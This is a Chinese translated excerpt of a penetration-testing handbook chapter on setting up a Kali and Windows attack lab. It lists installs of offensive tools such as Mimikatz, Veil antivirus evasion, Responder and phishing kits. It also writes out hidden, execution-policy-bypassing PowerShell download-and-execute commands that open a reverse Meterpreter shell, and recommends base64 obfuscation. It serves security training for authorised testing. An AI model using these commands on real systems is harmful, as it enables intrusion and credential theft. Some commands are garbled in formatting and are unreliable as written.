《黑客秘笈——渗透测试实用指南(第2版)》—第1章1.5节构建渗透测试环境...

本节书摘来自异步社区《黑客秘笈——渗透测试实用指南(第2版)》一书中的第1章1.5节构建渗透测试环境,作者【美】Peter Kim(皮特 基姆),更多章节内容可以访问云栖社区“异步社区”公众号查看。

1.5 构建渗透测试环境
在本书第1版中,收到很多关于为什么要让读者搭建和安装工具而不是创建脚本自动化完成这些工作的评论。主要原因是想让读者亲自经历这些步骤,这些工具都非常重要,搭建和安装的过程将有助于您知道武器库里都有什么工具。以Kali Linux为例,它包括大量工具,而且进行了很好的组织和归类,但是如果不知道这个工具已经安装了或者没使用它进行过单独的攻击,那么在紧急的情况下很难正确使用这个工具。

1.5.1 安装一个渗透测试环境
如果您根据本书第1版建立了测试环境,就可以跳过本节。众所周知,我一直喜欢带两个不同操作系统的笔记本开展渗透测试工作。一个是Windows环境,另一个是OS X或者Linux主机。我带两个笔记本的原因是,在以往的渗透测试特定的网络环境中,OS X主机不能够连接网络。与其花费几个小时分析为什么不能联网,还不如使用Windows主机开始攻击工作,等到有空闲时间再解决OS X的问题。携带两个笔记本确实节省了大量的时间。

使用Windows、OS X或者一些Linux版本作为主机操作系统,没有太大区别,但是有一些软件是必须安装的。首先安装一个虚拟机平台,可以使用VirtualBox(https://www.virtualbox. org)、VMWarePlayer(https://my.vmware.com/web/vmware/downloads)或者其他类型。在Windows平台上,VirtualBox和VMWarePlayer这两个软件都是免费的,而在OS X平台上仅有VirtualBox是免费的。我强烈推荐购买虚拟平台商业版本,因为商业版本包括大量的其他功能,例如加密、快照和更好的虚拟机管理功能。

因为要在虚拟机上安装大量的工具,所以最重要的一点是保证初始系统是干净的。在基础镜像中不要浏览个人网站。这样初始系统将一直保持干净,并且不会将恶意软件带到客户网站(之前我已经很多次见到这种情况),或者运行带有未知漏洞的服务。在配置主机后,对干净状态和配置状态的虚拟机做了快照。在后面的测试中,需要做的就是恢复虚拟机到基础镜像,对工具进行升级和打补丁,添加其他需要的工具。相信我,这个策略节省很多时间,在过去有很多次,我都花费了大量时间来安装本应该已经安装好的工具。

1.5.2 硬件
1.渗透测试笔记本
对于渗透测试笔记本电脑基本要求,与本书第1版的要求没有太大变化。

基本推荐配置:

至少有8GB内存的笔记本电脑;
500GB的硬盘空间(最好是固态硬盘);
Intel酷睿i7四核处理器。
2.密码破解桌面
这完全是可选项,但是在多次渗透测试工作中,破解哈希值需要更快的密码破解装备。您可能配备一些令人吃惊的装备,如在一个赛扬处理器上运行8个GPU。我组装了一个多用途的设备,拥有足够大的空间以及配备功率较大的密码破解电源。在本书的后半部分,我将介绍具体的例子、研制的密码暴力破解工具以及配备多用途设备的原因。

密码暴力破解/多用途黑客设备如下所示。

机箱:海盗船复仇C70。

显卡:SAPPHIRE 100360SR Radeon R9 295x2 8GB GDDR5。

硬盘:三星840 EVO MZ-7TE500BW 2.5" 500GB SATA III TLC Internal固态盘。

电源:银欣ST1500 1500W ATX。

内存:海盗船复仇16GB(2×8GB)240针脚DDR3 SDRAM DDR3 1600。

CPU:酷睿i7 4790K 4.0G。

主板:华硕MAXIMUS VII FORMULA。

处理器风扇:酷冷至尊Hyper 212 EV。

如果仅仅用于密码暴力破解方面,配置肯定是过高了,因为在密码破解中真正起作用的组件就是GPU,但是我想将它作为武器库中一个新添加的装备。

1.5.3 开源软件和商业软件
本书中,我想比较开源软件和商业软件是很有益处的。尽管不是所有人都有经费购买商业软件,但是重要的是要知道什么软件是可以买到的,攻击者可以使用什么软件。对于防护人员和攻击人员,拥有恰当的工具将会有很大区别。本书中,我将展示几个不同商业软件工具,这些工具我认为是很有用的。他们能够在不同攻击环境发挥作用。每一个商业软件,我将尽量提供类似的开源软件,但是不一定有这样的开源软件。

1.本书中用到的商业软件
Burp Suite Pro
Canvas
Cobalt Strike
Core Impact
Nessus
Nexpose
2.Kali Linux(https://www.kali.org/)
对于那些从来没有使用过Kali Linux的初学者,Kali Linux经常被认为是必备的渗透测试平台。它基于Debian操作系统发行版,包括大量不同类型的安全工具,所有工具预先配置在同一平台框架下。Kali Linux对渗透测试学习和研究很有帮助,本书的内容主要是基于这个Linux版本展开的。强烈推荐下载Kali虚拟机,使用它进行测试。

3.Back Box(http://www.backbox.org/
) 尽管Kali Linux被认为是必备的渗透测试平台,但是最好不要依赖某一工具、操作系统和程序,整本书中将始终坚持这个观点。开发者可能停止支持某种工具,或者更坏的情况,您开始变得视野狭窄以及过度依赖老的方法。从事Back Box建设的人们正在做着很有意义的工作,搭建另外一个安全渗透测试平台,为用户提供技术支撑。两个渗透测试平台主要的区别是Back Box基于Ubuntu操作系统,更重要的是,Back Box提供默认的用户权限管理(在Kali Linux中每个人都运行root权限)。一些用户更愿意使用Ubuntu操作系统。我遇到这样的情况,某些工具是在Ubuntu开发的,因此在Ubuntu上运行比在Kali Linux上更稳定。同样,使用Back Box可以增加一个工具的获取来源,非常有必要了解Back Box平台集成什么工具。

1.5.4 建立平台
在任何一个安全工具发布版本中,都存在一些工具没有包含其中、一些工具需要进行调整的情况。我喜欢将它们放在一个目录下,这样就会知道存放的位置,而且方便使用。以下是需要安装的工具。

探测扫描工具

Discover
EyeWitness
HTTPScreenShot
WMAP
SpiderFoot
Masscan
Gitrob
CMSmap
Recon-ng
SPARTA
WPScan
Password Lists
漏洞利用工具

Burp Suite Pro
ZAP Proxy Pro
NoSQLMap
SQLMap
SQLNinja
BeEF Exploitation Framework
Responder
Printer Exploits
Veil
WIFIPhisher
Wifite
SET
后渗透测试

本书中的自定义脚本
SMBexec
Veil
WCE
Mimikatz
PowerSploit
Nishang
后门制造工厂
DSHashes
Net-Creds
1.5.5 搭建Kali Linux
有很多种方式搭建攻击主机,但是希望您能够尽可能模仿本书中的所有例子。在开始前,应当尽可能以下述的设置配置主机。记住攻击工具经常周期性改动,可能需要对这些设置和配置做小范围的微调(不要忘了查看http://www.thehackerplaybook.com网页的更新)。对于那些已经购买实体书的读者,我已经将所有的配置和软件部分放到了Github网址(http://www.github.com/cheetz/thp2)。通过复制和粘贴脚本,方便渗透测试工作,不需要手动输入每一个命令。

因为本书是基于Kali Linux平台,所以可以通过地址http://www.kali.org/downloads/下载Kali Linux发行版。强烈推荐下载VMware镜像(https://www.offensive-security.com/kali-linux-vmware-arm-image-download)和Virtual Player/VirtualBox。记住镜像文件采用gz压缩和tar存档格式,首先提取压缩和存档文件,然后加载vmx文件。

1.Kali虚拟机启动和运行
使用用户名root和默认密码toor登录
打开一个终端
修改密码
passwd
更新镜像
apt-get update
apt-get dist-upgrade
设置Metasploit数据库
service postgresql start
让postgresql数据库在启动时加载
update-rc.dpostgresql enable
启动和停止Metasploit服务(设置数据库.yml文件)
service metasploit start
service metasploit stop
安装gedit软件
apt-get install gedit
修改主机名(很多网络管理员在DHCP的日志中查询到多台命名为Kali的主机,最好遵循渗透测试公司的主机命名规则)
gedit /etc/hostname
更改主机名(替换kali)并保存
gedit /etc/hosts
更改主机名(替换kali)并保存
reboot
*Metasploit可选项——启动日志记录
作为可选项,如果启用日志就会变得很大,但是通过Metasploit命令行接口,可以记录运行的每一条命令和结果。如果客户需要日志记录或者开展批量攻击和查询,这将变得非常有用。*如果是干净的镜像,首先输入msfconsole,在配置logging命令创建.msf4文件夹之前退出。
在命令行中输入:
echo"spool /root/msf_console.log" > /root/.msf4/msfconsole.rc
日志存储在/root/msf_console.log。
2.工具安装
后门制造工厂

对PE、ELF、Mach-O等二进制文件注入shellcode
git clone https://github.com/secretsquirrel/the-backdoor-factory/opt/the-backdoorfactory
cd the-backdoor-factory
./install.sh
HTTPScreenShot

HTTPScreenShot工具实现屏幕截图和大量网站网页的抓取
pip install selenium
git clone https://github.com/breenmachine/httpscreenshot.git/opt/ httpscreenshot
cd /opt/httpscreenshot
chmod +x install-dependencies.sh && ./install-dependencies.sh
HTTPScreenShot仅仅默认工作在64位Kali操作系统,如果运行32位PAE操作系统,按照下面步骤安装phatomjs:
wget https://bitbucket.org/ariya/phantomjs/downloads/ phantomjs-1.9.8-linuxi686.tar.bz2
bzip2 -d phantomjs-1.9.8-linux-i686.tar.bz2
tar xvf phantomjs-1.9.8-linux-i686.tar
cp phantomjs-1.9.8-linux-i686/bin/phantomjs /usr/bin/
SMBExec

使用samba工具的一种快速psexec类型攻击
git clone https://github.com/pentestgeek/smbexec.git/opt/smbexec
cd /opt/smbexec&& ./install.sh
选择1 - Debian/Ubuntu and derivatives
选择所有默认值Select all defaults
./install.sh
选择4编译smbexec二进制文件
编译完成后选择5退出
Masscan

这是最快速的互联网端口扫描工具,能够在6分钟扫描整个互联网
apt-get install gitgcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan.git /opt/masscan
cd /opt/masscan
make
make install
Gitrob

一种针对GitHub组织的探测工具
git clone https://github.com/michenriksen/gitrob.git /opt/gitrob
gem install bundler
service postgresql start
supostgres
createuser -s gitrob --pwprompt
createdb -O gitrobgitrob
exit
cd /opt/gitrob/bin
gem install gitrob
CMSmap

CMSmap是基于Python开发的开源内容管理系统扫描工具,实现对安全漏洞自动扫描
git clone https://github.com/Dionach/CMSmap /opt/CMSmap
WPScan

WordPress漏洞扫描工具和暴力破解工具
git clone https://github.com/wpscanteam/wpscan.git /opt/wpscan
cd /opt/wpscan&& ./wpscan.rb --update
EyeWitness

EyeWitness工具实现网站截图,搜集服务器报头信息和判断网站是否采用默认口令
git clone https://github.com/ChrisTruncer/EyeWitness.git/opt/EyeWitness
Printer Exploits

包括大量常用的打印机漏洞利用工具
git clone https://github.com/MooseDojo/praedasploit/opt/praedasploit
SQLMap

SQL注入工具
git clone https://github.com/sqlmapproject/sqlmap /opt/sqlmap
Recon-ng

一个功能齐全的网站探测框架,使用Python编写
git clone https://bitbucket.org/LaNMaSteR53/recon-ng.git /opt/recon-ng
Discover Scripts

定制的bash脚本,自动化处理各种渗透任务
git clone https://github.com/leebaird/discover.git/opt/discover
cd /opt/discover && ./setup.sh
BeEF Exploitation Framework

一个跨站脚本攻击框架
cd/opt/
wget https://raw.github.com/beefproject/beef/a6a7536e/install-beef
chmod +x install-beef
./install-beef
Responder

一个LLMNR、NBT-NS和MDNS协议攻击工具,包括HTTP/SMB/MSSQL/FTP/LDAP诱骗认证方法,支持NTLMv1/NTLMv2/LMv2,扩展的NTLMSSP和基本HTTP认证协议。Responder用于获取NTLM挑战/应答哈希值。
git clone https://github.com/SpiderLabs/Responder.git /opt/Responder
黑客秘笈2-自定义脚本

针对本书编写的大量自定义脚本
git clone https://github.com/cheetz/Easy-P.git /opt/Easy-P
git clone https://github.com/cheetz/Password_Plus_One /opt/Password_Plus_One
git clone https://github.com/cheetz/PowerShell_Popup /opt/PowerShell_Popup
git clone https://github.com/cheetz/icmpshock /opt/icmpshock
git clone https://github.com/cheetz/brutescrape /opt/brutescrape
git clone https://www.github.com/cheetz/reddit_xss /opt/reddit_xss
黑客秘笈2-代码副本

本书使用了PowerSploit和Powertools的代码副本,记住要从原始的代码库中复制一份
git clone https://github.com/cheetz/PowerSploit/opt/HP_PowerSploit
git clone https://github.com/cheetz/PowerTools/opt/HP_PowerTools
git clone https://github.com/cheetz/nishang/opt/nishang
DSHashes

从NTDSXtract中提取用户易于理解的哈希值
wget http://ptscripts.googlecode.com/svn/trunk/dshashes.py -O/opt/NTDSXtract/dshashes.py
SPARTA

一个基于Python脚本图形化应用程序,在扫描和枚举阶段,辅助渗透测试人员简化网络架构的渗透测试工作
git clone https://github.com/secforce/sparta.git/opt/sparta
apt-get install python-elixir
apt-get install ldap-utilsrwhorsh-client x11-apps finger
NoSQLMap

用于MongoDB数据库和网站应用程序的自动化渗透测试工具集
git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQLMap
Spiderfoot

开源的指纹检测工具
mkdir /opt/spiderfoot/ && cd /opt/spiderfoot
wget http://sourceforge.net/projects/spiderfoot/files/spiderfoot-2.3.0-src.tar.gz/download
tar xzvf download
pip install lxml
pip install netaddr
pip install M2Crypto
pip install cherrypy
pip install mako
WCE

Windows凭证编辑器(Windows Credential Editor,WCE),用于从内存中读取密码
下载地址为http://www.ampliasecurity.com/research/windows-credentials-editor/,将其存储在/opt/。例如:
wget www.ampliasecurity.com/research/wce_v1_4beta_universal.zip
mkdir/opt/wce&& unzip wce_v1 -d /opt/wce&&rm wce_v1.zip
Mimikatz

用于从内存获取明文密码、金票据和万能密钥等
从https://github.com/gentilkiwi/mimikatz/releases/latest获取最新版本
cd /opt/ &&wget http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
unzip-d ./mimikatz mimikatz_trunk.zip
SET

社会工程工具集(Social Engineering Toolkit,SET)主要用于社会工程攻击
git clone https://github.com/trustedsec/social-engineer-toolkit/ /opt/set/
cd /opt/set && ./setup.py install
PowerSploit(PowerShell)

PowerShell脚本用户后渗透测试
git clone https://github.com/mattifestation/PowerSploit.git /opt/PowerSploit
cd/opt/PowerSploit && wget
https://raw.githubusercontent.com/obscuresec/random/master/StartListener.py && wget
https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py
Nishang(PowerShell)

PowerShell漏洞利用和后渗透测试脚本汇总
git clone https://github.com/samratashok/nishang/opt/nishang
Veil-Framework

红队工具集用于规避杀毒软件检测。目前包括Veil-Evasion用于生成规避杀毒软件净荷,Veil-Catapult投送净荷到目标,Veil-PowerView获取Windows域网络拓扑信息。Veil框架也可用于创建基于Python脚本的Meterpreter可执行程序
git clone https://github.com/Veil-Framework/Veil /opt/Veil
cd /opt/Veil/ && ./Install.sh -c
Burp Suite Pro

Web渗透测试工具集
下载网址:http://portswigger.net/burp/proxy.html。强烈推荐购买专业版本,售价299美元,绝对物有所值。
ZAP Proxy Pro

OWASP ZAP:一个使用方便的集成渗透测试工具,用于挖掘网站应用程序漏洞
下载网址:https://code.google.com/p/zaproxy/wiki/Downloads?tm=2
*Kali Linux默认安装(owasp-zap)
Fuzzing Lists(SecLists)

用于配置Burp渗透测试参数
git clone https://github.com/danielmiessler/SecLists.git/ opt/SecLists
密码字典

对于不同密码字典,请参照第9章的相关内容
Net-Creds网络分析

分析PCAP文件,获取用户名/密码
git clone https://github.com/DanMcInerney/net-creds.git/ opt/net-creds
安装Firefox插件

Web开发人员插件:https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
Tamper Data:https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
Foxy Proxy:https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
User Agent Switcher:https://addons.mozilla.org/en-US/firefox/addon/user-agentswitcher/
Wifite

WiFi网络攻击工具
git clone https://github.com/derv82/wifite/opt/wifite
WIFIPhisher

WiFi网络自动化钓鱼攻击
git clone https://github.com/sophron/wifiphisher.git/opt/wifiphisher
Phishing(可选)

Phishing-Frenzy
git clone https://github.com/pentestgeek/phishing-frenzy.git/var/www/phishing-frenzy
其他自定义列表
git clone https://github.com/macubergeek/gitlist.git /opt/gitlist
*记得检查http://thehackerplaybook.com/updates/网站,获取更新的资料。

1.5.6 Windows虚拟机
强烈推荐配置Windows7/Windows8虚拟机。这是因为经历的很多次渗透测试中都需要使用应用程序,例如IE浏览器或者Cain and Abel工具,但是这些工具仅仅运行在一种类型的操作系统。记住,所有的PowerShell命令都运行在Windows主机,所以一定要准备好Windows虚拟机。携带多个操作系统环境,可以节省大量时间和精力。

除了Windows以外的高级工具列表
HxD(十六进制编辑器)
Evade(用于规避杀毒软件)
Hyperion(用于规避杀毒软件)
Metasploit
Nexpose/Nessus
Nmap
oclHashcat
Cain and Abel
Burp Suite Pro
Nishang
PowerSploit
Firefox(插件)
Web开发人员插件
Tamper Data
Foxy Proxy
User Agent Switcher
1.5.7 设置Windows环境
搭建Windows通用测试平台作为Kali Linux平台的备份。记住一定要修改主机名,如果不使用NetBios,就禁用NetBios功能,尽可能加固这些操作系统平台。要做的最后一件事是在评估过程中获取控制权。

设置Windows没有什么特别的地方,通常我安装以下软件。

HxD:下载地址为http://mh-nexus.de/en/hxd/
Evade:下载地址为https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
Hyperion:下载地址为http://www.nullsecurity.net/tools/binary.html
下载并安装Windows编译器,地址为http://sourceforge.net/projects/mingw/
在Hyperion目录下运行make命令,就可以得到二进制文件。
下载并安装Metasploit,地址为http://www.Metasploit.com/
下载并安装Nessus或者Nexpose
如果打算购买商业软件,可以考虑购买Nessus,因为它更便宜,但是两个软件都能发挥作用。
下载并安装nmap,地址为http://nmap.org/download.html
下载并安装oclHashcat,地址为http://hashcat.net/oclhashcat/
下载并安装Cain and Abel,地址为http://www.oxid.it/cain.html
下载Burp Proxy Pro,地址为http://portswigger.net/burp/download.html
下载并解压Nishang,地址为https://github.com/samratashok/nishang
下载并安装PowerSploit,地址为https://github.com/mattifestation/PowerSploit/
安装Firefox插件
Web开发人员插件:https://addons.mozilla.org/en-US/firefox/addon/webdeveloper/
Tamper Data:https://addons.mozilla.org/en-US/firefox/ addon/tamper-data/
Foxy Proxy:https://addons.mozilla.org/en-US/firefox/ addon/foxyproxystandard/
User Agent Switcher:https://addons.mozilla.org/en-US/firefox/addon/useragent-switcher/
1.5.8 启动PowerShell
PowerShell已经彻底改变渗透测试的游戏规则。如果您没有任何PowerShell的使用经验,我强烈建议花费一定的时间,写一些基本的PowerShell脚本。如果需要查阅资料,了解PowerShell功能,请观看这个视频:

PowerShell脚本安全介绍:http://bit.ly/1MCb7EJ
这个视频时间稍微有点长,但是它能说明一些基本概念,帮助掌握PowerShell基础知识。为什么我在这本书中如此强调PowerShell?因为PowerShell对于渗透测试人员有以下益处:

Windows 7以上操作系统默认安装;
PowerShell脚本可以运行在内存中;
几乎不会触发杀毒软件;
可以调用.NET类;
利用用户口令(查询活动目录);
可以用来管理活动目录;
远程执行PowerShell脚本;
使得Windows脚本攻击更加容易;
目前很多工具是基于PowerShell开发的,掌握这些工具帮助您成为能力出众、效率较高的渗透测试人员。
您可以通过Windows终端提示符输入“PowerShell”,进入PowerShell命令行,输入“help”命令显示帮助菜单。下面是本书用到的基本参数和基本设置。

-Exec Bypass:绕过执行安全保护。
这个参数非常重要!默认情况下,PowerShell的安全策略不允许运行命令和文件。通过设置这个参数,可以绕过任何一个安全保护规则。在本书中,每一次运行PowerShell脚本时均使用这个参数。
-NonI:非交互模式,PowerShell不提供用户交互式提示符。
-NoProfile(或者 –NoP):PowerShell控制台不加载当前用户的配置。
-noexit:执行后不退出shell。这对于脚本,例如键盘记录,非常重要,因此这些脚本可以继续执行。
-W Hidden:设置会话的窗口风格,将命令窗口保持隐藏。
32位或64位PowerShell。
这非常重要。一些脚本仅仅能够运行在它们指定的平台。因此,如果是在64位平台,需要执行64位PowerShell脚本来运行命令。
32位PowerShell脚本执行:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64位PowerShell脚本执行:
%WinDir%syswow64windowspowershellv1.0powershell.exe -NoP -NonI -W Hidden -Exec Bypass
为了更好了解PowerShell的使用方法,下面介绍一些常用的执行命令(这些命令将在本书中使用)。

第一个命令是从网站服务器下载PowerShell脚本,并执行脚本。在很多情况下,通过命令行,在被攻击对象主机上下载Meterpreter PowerShell脚本:

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-ObjectNet.WebClient). DownloadString('[PowerShell URL]'); [Parameters]
例如,如果想在目标上执行Meterpreter Shell,需要下载这个脚本:

https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
我们同样需要知道使用什么参数。最简单的找到参数的方式是阅读PowerShell脚本源代码,获取和浏览Invoke--Shellcode.ps1文件。查看Mattifestationbianxie开发的Invoke--Shellcode.ps1文件,可以通过这个例子,了解如何调用反向https Meterpreter shell(见图1.1)。

最终的PowerShell命令看起来如下所示。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient). DownloadString('https://raw.githubusercontent.com/cheetz/ PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https- Lhost 192.168.30.129 -Lport 80


《黑客秘笈——渗透测试实用指南(第2版)》—第1章1.5节构建渗透测试环境..._第1张图片

可以看出,PowerShell使用非常简单,而且功能超级强大。下面了解更多的例子。

例如,下载同一个文件到目标上。您不需要访问网页,就可以自动下载和执行文件。在本地执行文件:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { Import-Module [Path and File of PowerShell]; [Parameters] }"
最后,在本书中我通常使用base64编码PowerShell脚本,目的是混淆和压缩代码。运行和编码PowerShell脚本的命令如下:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [Base64 Code]
希望上述的例子能帮助您在渗透测试中娴熟地使用PowerShell。

1.5.9 Easy-P
因为本书大量应用PowerShell脚本实施攻击,所以我创建了一个小的脚本,用于在渗透测试过程中获取PowerShell脚本。Easy-P包括我常用的一些PowerShell工具,并且具有编码脚本的功能。

对于每个命令,Easy-P提供多种方式运行代码,包括本地和远端。注意所有的远程PowerShell脚本指向我的代码或者其他人代码的复制版本。在这里我要强调一点,在后面的章节中还会提到多次:记住要从源代码中复制自己的一个拷贝,这样您就不会盲目地运行其他人的代码。现在如果一些人恶意地随意篡改PowerShell脚本,您永远不会知道发生了什么。没有做什么或者更坏的情况是,您的shell将转向其他人指定的地址。下面了解一下Easy-P的功能(见图1.2),使渗透测试工作变得更加简单。


《黑客秘笈——渗透测试实用指南(第2版)》—第1章1.5节构建渗透测试环境..._第2张图片

我在本书中最经常做的一件事就是使用PowerShell Meterpreter脚本。当执行Easy-P脚本时,输入选项4。设置本地主机IP和Meterpreter脚本回连的端口。完成设置后,就能看到如图1.3所示的输出。

得到4个不同类型的输出。

从因特网下载和执行:从网站下载一个PowerShell脚本,然后执行脚本。虽然仅获得简单的shell,并且不能下载文件,但是也很棒了。
从脚本的一个本地副本运行:如果您已经将一个PowerShell文件下载到系统中,运行命令导入PowerShell脚本,然后执行脚本。
Base64编码版本下载和执行:如果由于某个原因想混淆编码脚本,或者遇到字符限制,您可以使用base64编码代码,然后执行命令。
资源文件:最后输出的是关联的资源文件。Metasploit资源文件是一种快捷方式,自动为MeterpreterPowerShell建立监听程序。复制资源脚本并将它存成文件:/opt/listener.rc。


https://yqfile.alicdn.com/507e0b8ec63d6ba3e9aafc9280072d01ae30d205.png" >

所有的脚本已经配置成绕过执行策略,保持隐藏,以及非交互运行。看一下Easy-P其他菜单选项,还包括权限提升、横向渗透、键盘记录、PowerShell Meterpreter和修改用户执行策略等功能。请随意复制我的代码,然后修改、增加所需要的PowerShell代码。

你可能感兴趣的:(《黑客秘笈——渗透测试实用指南(第2版)》—第1章1.5节构建渗透测试环境...)